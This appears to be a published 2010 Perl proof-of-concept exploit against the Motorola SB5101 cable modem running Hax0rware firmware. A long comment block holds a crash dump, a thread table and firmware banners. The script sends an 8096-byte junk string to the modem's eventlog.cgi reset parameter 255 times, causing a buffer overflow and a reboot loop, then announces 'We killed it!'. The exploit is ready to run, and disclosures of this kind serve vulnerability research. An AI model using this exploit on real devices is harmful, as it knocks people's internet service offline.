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#!/usr/bin/perl
# Motorola SB5101 Hax0rware Event Reset Remote Overflow
# Tested on Hax0rware 1.1 R30, R32 and R39
# Author: Dillon Beresford
# Date: 6/6/2010
# Vendor: Motorola Corporation and SBHacker ( SBHacker has been notified of the vuln ).
# Software Link: http://www.sbhacker.net/forum/index.php
# Description: Motorola SB5101 Hax0rware Event Reset Remote Buffer Overflow
# An unauthenticated attacker could send multiple log reset requests to eventlog.cgi,
# causing a a denial of service, which would send the cable modem into a reboot loop.
# For debugging telnet into the device 192.168.100.1 and run the poc.
# >>> YIKES... looks like you may have a problem! <<<
# r0/zero=00000000 r1/at =80510000 r2/v0 =00000000 r3/v1 =00000002
# r4/a0 =ac100102 r5/a1 =00000000 r6/a2 =00000001 r7/a3 =8069b914
# r8/t0 =00000001 r9/t1 =00000000 r10/t2 =00000001 r11/t3 =00000000
# r12/t4 =00000000 r13/t5 =00000000 r14/t6 =00000000 r15/t7 =00000005
# r16/s0 =807bd04c r17/s1 =807bd004 r18/s2 =807bd000 r19/s3 =8069bb90
# r20/s4 =8069bb88 r21/s5 =11110015 r22/s6 =11110016 r23/s7 =11110017
# r24/t8 =00000000 r25/t9 =00000009 r26/k0 =807d2698 r27/k1 =8069bc7c
# r28/gp =80458fa0 r29/sp =8069b910 r30/fp =8069b970 r31/ra =80197d24
# PC : 0x80197e14 error addr: 0xac100102
# cause: 0x00000010 status: 0x1000ff03
# BCM interrupt enable: fffffff7, status: 00000000
# Instruction at PC: 0x8c830000
# entry 80197c58 called from 801dbe10
# entry 801dbd08 called from 80242f64
# entry 80242eb8 called from 802fb2e4
# entry 802fb2ac called from 802fb2a4
# entry 802fb2ac Return address (00000000) invalid. Trace stops.
# Task: NetToMedia Thread
# ---------------------------------------------------
# ID: 0x0025
# Handle: 0x8069ba24
# Set Priority: 23
# Current Priority: 23
# State: SUSP
# Stack Base: 0x8069a9b0
# Stack Size: 4096 bytes
# Stack Used: 1088 bytes
# Stack Stack Stack
# TaskId TaskName Priority State Size Used Margin
# ---------- -------------------------------- -------- -------- -------- -------- --------
# 0x8048f818 Idle Thread 31 RUN 2048 1064 984
# 0x805131d0 Network alarm support 6 SLEEP 2256 1232 1024
# 0x804924c8 Network support 7 SLEEP 8192 1824 6368
# 0x80513f20 pthread.00000800 15 EXIT 7852 1104 6748
# 0x8048a1c8 tStartup 18 SLEEP 12288 5208 7080
# 0x8054b9ac Rajko HttpD 23 SLEEP 3280 2164 1116
# 0x807f579c NonVol Device Async Helper 25 SLEEP 3072 504 2568
# 0x807ebc7c Motorola Standby Switch Thread 23 SLEEP 4096 440 3656
# 0x807ea984 Motorola Vendor Ctl Thread 23 SLEEP 4096 512 3584
# 0x807f64e8 WDOG 17 RUN 5120 2784 2336
# 0x807e8eb0 BFC Ping Thread 29 SLEEP 6144 476 5668
# 0x807e870c ConsoleThread 27 RUN 36864 2168 34696
# 0x807d6c58 TelnetD 23 RUN 2256 2040 216
# 0x807ca564 CfgVB Thread 23 SLEEP 4096 516 3580
# 0x807c5400 DHCM 25 SLEEP 16384 516 15868
# 0x807bf390 Event 25 SLEEP 0 0 0 OVERFLOW
# 0x8079a900 Time Of Day Thread 23 SLEEP 6144 460 5684
# 0x8079ad70 CmDocsisIpThread 23 SLEEP 8192 508 7684
# 0x80793edc CmBpiManagerThd 25 SLEEP 8192 512 7680
# 0x8079035c CmDsxHelper 23 SLEEP 8192 508 7684
# 0x807ac334 CmDocsisCtlThread 21 SLEEP 8192 516 7676
# 0x80789228 Scan Downstream Thread 23 SLEEP 4096 1416 2680
# 0x80786004 RateShaping Thread 23 SLEEP 4096 448 3648
# 0x807f65e0 CMHL 23 SLEEP 4500 372 4128
# 0x807f66d8 CMHH 21 SLEEP 4500 356 4144
# 0x807f67d0 ENRX 23 SLEEP 4500 1248 3252
# 0x807f68c8 ENTX 23 SLEEP 4500 788 3712
# 0x807f69c0 ELNK 23 SLEEP 4500 324 4176
# 0x807f6ab8 USTX 23 SLEEP 4500 344 4156
# 0x807f6bb0 USRX 23 SLEEP 4500 376 4124
# 0x807f6ca8 UBCT 19 SLEEP 4500 360 4140
# 0x807f6da0 USRN 23 SLEEP 4500 344 4156
# 0x806a5e18 DHCP Client Thread 23 SLEEP 12288 512 11776
# 0x807f6e98 IpHalIst 23 RUN 4500 816 3684
# 0x8069ff7c CmPropaneCtlThread 23 SLEEP 8192 1632 6560
# 0x8069d320 IGMP Thread 23 SLEEP 4096 460 3636
# 0x8069ba24 NetToMedia Thread 23 SUSP 4096 1088 3008
# 0x8069798c Trap Thread 23 SLEEP 16384 504 15880
# 0x807f6030 SNMP Thread 23 SLEEP 20480 1196 19284
# 0x805aaf20 DHCP Server Thread 23 SLEEP 8192 1448 6744
# 0x8047b410 tNonVolTimer 30 SLEEP 2048 292 1756
# * *
# *** ***
# *** ***
# *** ***
# ***** *****
# ***** *****
# ***** *****
# ******* *******
# ******* *******
# ******* *******
# ********* *********
# ********* *********
# **** *** *** ****
# *** *** ***
# *** * ***
# ** **
# ** **
# ** **
# ** **
# * *
# Motorola Corporation
# +----------------------------------------------------------------------------+
# | _/_/ _/_/_/_/ _/_/ |
# | _/ _/ _/ _/ _/ Broadband |
# | _/ _/ _/ _/ |
# | _/_/ _/_/_/ _/ Foundation |
# | _/ _/ _/ _/ |
# | _/ _/ _/ _/ _/ Classes |
# | _/_/_/ _/ _/_/ |
# | |
# | Copyright (c) 1999 - 2007 Broadcom Corporation |
# | |
# | Revision: 3.9.33.3 RELEASE |
# | |
# | Features: Console Nonvol Fat HeapManager SNMP Networking USB1.1 |
# +----------------------------------------------------------------------------+
# | Standard Embedded Target Support for BFC |
# | |
# | Copyright (c) 2003 - 2007 Broadcom Corporation |
# | |
# | Revision: 3.0.1 RELEASE |
# | |
# | Features: PID=0xc011 Bootloader-Rev=2.1.6d |
# | Copyright (c) 2003 - 2007 Broadcom Corporation |
# | |
# | Revision: 3.0.1 RELEASE |
# | |
# | Features: PID=0xc011 Bootloader-Rev=2.1.6d |
# | Features: Bootloader-Compression-Support=0x19 |
# +----------------------------------------------------------------------------+
# | eCos BFC Application Layer |
# | |
# | Copyright (c) 1999 - 2007 Broadcom Corporation |
# | |
# | Revision: 3.0.2 RELEASE |
# | |
# | Features: eCos Console Cmds, (no Idle Loop Profiler) |
# +----------------------------------------------------------------------------+
# | _/_/ _/ _/ |
# | _/ _/ _/_/ _/_/ DOCSIS Cable Modem |
# | _/ _/ _/ _/ |
# | _/ _/ _/ |
# | _/ _/ _/ |
# | _/ _/ _/ _/ |
# | _/_/ _/ _/ |
# | |
# | Copyright (c) 1999 - 2005 Broadcom Corporation |
# | |
# | Revision: 3.9.33.3 RELEASE |
# | |
# | Features: AckCel(tm) DOCSIS 1.0/1.1/2.0 Propane(tm) CM SNMP w/Factory MIB |
# | Features: Support CM Vendor Extension |
# +----------------------------------------------------------------------------+
# | Motorola Data-Only CM Vendor Extension |
# | |
# | Revision: 3.0.0a RELEASE |
# | |
# | Features: DHCP Server HTTP Server |
# +----------------------------------------------------------------------------+
# | Build Date: Apr 29 2009 |
# | Build Time: 15:08:51 |
# | Built By: vobadm02 |
# +----------------------------------------------------------------------------+
use LWP::Simple;
my $junk = "\x31" x 8096;
print "+---------------------------------------------------------------+\n".
"| Motorola SB5101 Hax0rware Event Reset Remote Overflow |\n".
"| Motorola: SB5101-2.7.6.0-GA-00-NOSH |\n".
"| Version: 1.1 R30, R32 and R39 |\n".
"| Vendor: Motorola Corporation and SBHacker |\n".
"| Author: Dillon Beresford |\n".
"| Date: 6/6/2010 |\n".
"+---------------------------------------------------------------+\n";
for ($count = 1; $count < 256; $count++)
{
$contents = get("http://192.168.100.1/eventlog.cgi?reset=".$junk);
print "sending request to cable modem\n";
}
print "We killed it!\n";
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